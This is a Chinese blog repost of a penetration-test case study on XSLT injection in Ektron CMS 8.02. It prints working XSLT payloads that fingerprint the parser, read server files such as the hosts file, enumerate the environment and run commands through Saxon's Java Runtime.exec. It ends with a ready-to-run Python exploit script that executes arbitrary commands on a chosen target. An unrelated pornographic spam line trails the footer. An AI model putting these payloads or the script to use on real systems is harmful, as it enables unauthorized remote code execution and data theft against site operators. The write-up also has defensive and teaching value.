溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

XSLT注入漏洞案例分析

發布時間:2021-12-17 16:05:06 來源:億速云 閱讀:359 作者:iii 欄目:大數據

這篇文章主要講解了“XSLT注入漏洞案例分析”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“XSLT注入漏洞案例分析”吧!

XSLT注入漏洞,漏洞存在于Ektron CMS 8.02的Saxon組件中,攻擊者利用該漏洞,可造成SSRF甚至RCE。但研究者發現Metasploit上的exp似乎無法利用,漏洞已被修補。后來經過摸索,進一步做信息收集,最終獲取RCE。

偶然發現攻擊面

國外某研究人員應邀給一個大型組織做Web滲透測試。經過簡單的信息收集,發現該Web應用較為簡單,沒有明顯的缺陷。

進一步搜尋測試后,研究人員使用dirbuster(目錄掃描器)發現了一個有趣的JavaScript文件,查閱文件內容顯示應用程序為:Ektron CMS 8.02

簡單搜索因特網,研究人員在Microsoft Research Advisory上找到關于該CMS的一些漏洞信息:

...當Ektron Web CMS 的XslCompiledTransform類處理用戶控制的XSL數據時,可能會導致容易代碼執行...

存在漏洞的頁面:

https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx

目標確實存在這個頁面,它可能可以存在漏洞。下一步,研究人員開始枚舉目標服務器上的XSLT解析引擎,通過Burp發送一個POST請求,同時在Body處插入XSLT有效載荷:

xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
</xsl:template>
</xsl:stylesheet>

頁面反饋:

Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com

嘗試通用Exp

此時,已經表明為Microsoft XSLT解析器。緊接著,研究人員在Metasploit上找到一個模塊,可用于此攻擊。設置完畢參數后,exploit,但沒有返回結果??沙醪脚袛?,目標應用上的這個漏洞已修補,無法被利用,但研究者并沒有放棄,查看Metasploit發送的請求:

XSLT注入漏洞案例分析

很容易看出,它會調用一個有趣的腳本:

<msxsl:script language =“C?!眎mplements-prefix =“user”>

Microsoft XSLT 似乎可以運行C#。通過腳本元素,可以在XSLT文檔或其他帶外擴展中嵌入C#惡意代碼。

構造一個簡單的SSRF探測有效載荷:

xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:App="http://www.tempuri.org/App">
   <msxsl:script implements-prefix="App" language="C#">
     <![CDATA[
         {
             System.Diagnostics.Process.Start("cmd.exe /C ping IP");
         }
     ]]>
   </msxsl:script>
   <xsl:template match="ArrayOfTest">
   </xsl:template>
 </xsl:stylesheet>

反饋:

已禁止使用腳本??梢酝ㄟ^XsltSettings.EnableScript屬性激活。

看來這就是為什么Metasploit模塊攻擊失效的原因了。雖然已在元素中嵌入C#,但腳本被禁用,無法工作。通過這點,可以確定漏洞已經修補了,攻擊者無法獲取RCE。但研究人員沒有放棄,開始進一步搜索漏洞信息。

柳暗花明

查閱資料,研究人員找出兩份關于XSLT注入攻擊的研究文檔[1.2],第一份為德文,較為全面地介紹了這類攻擊,第二份來自IOActive。閱讀相關文檔后,研究人員發現其實Ektron CMS附有多個XSLT解析器,其中一個名為Saxon。枚舉Saxon版本:

xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

反饋:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

Saxon解析器可以正常解析用戶輸入,同時提供反饋。接下來,攻擊者可以嘗試讀取一些文件,枚舉信息甚至命令執行。

讀取文件

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看當前目錄

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
 </xsl:transform>

查看當前用戶和域:

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

攻擊者現在可以探測服務器目錄結構,讀取服務器上的大部分文件,SAM文件除外,因為Web應用用戶權限不足。

Getshell

研究人員的最終目標是命令執行,但文檔中沒有可用的XSLT樣式。進一步研究那份德文文檔,發現可以Xalan處理器來執行Java代碼,但Saxon解析器沒有聲明命名空間。

嘗試構造模塊,反饋錯誤。

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>

研究Saxonica文檔后,研究人員發現可利用命名空間和某些函數,構造XSLT文檔來執行命令:

xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

后來發現沒有聲明java的命名空間:

xmlns:java="http://saxon.sf.net/java-type">

如果沒有聲明命名空間,處理器不能找到與java:java.lang.Runtime相關的外部對象或腳本。

發送有效負載,研究人員可執行任意命令,并且可以與Empire框架連接,至此web滲透部分結束。

利用腳本

#! /usr/bin/python
import httplib

target = raw_input("""Enter the domain or IP address of target:
e.g. www.google.com, or 198.162.0.1:  """)
port = raw_input("""Enter port number of target
e.g. 80 or 443:  """)
process = raw_input("""Enter the process you wish to run:
powershell.exe or cmd.exe:  """)
command = raw_input("""Enter command you wish to run:
e.g. ping 127.0.0.1:  """)


def printText(txt):
   lines = txt.split('\n')
   for line in lines:
       print line.strip()

httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()

payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)

headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}

httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers)

response = httpServ.getresponse()
if response.status == httplib.OK:
   print "Java Process Id: "
   printText (response.read())

httpServ.close()

感謝各位的閱讀,以上就是“XSLT注入漏洞案例分析”的內容了,經過本文的學習后,相信大家對XSLT注入漏洞案例分析這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女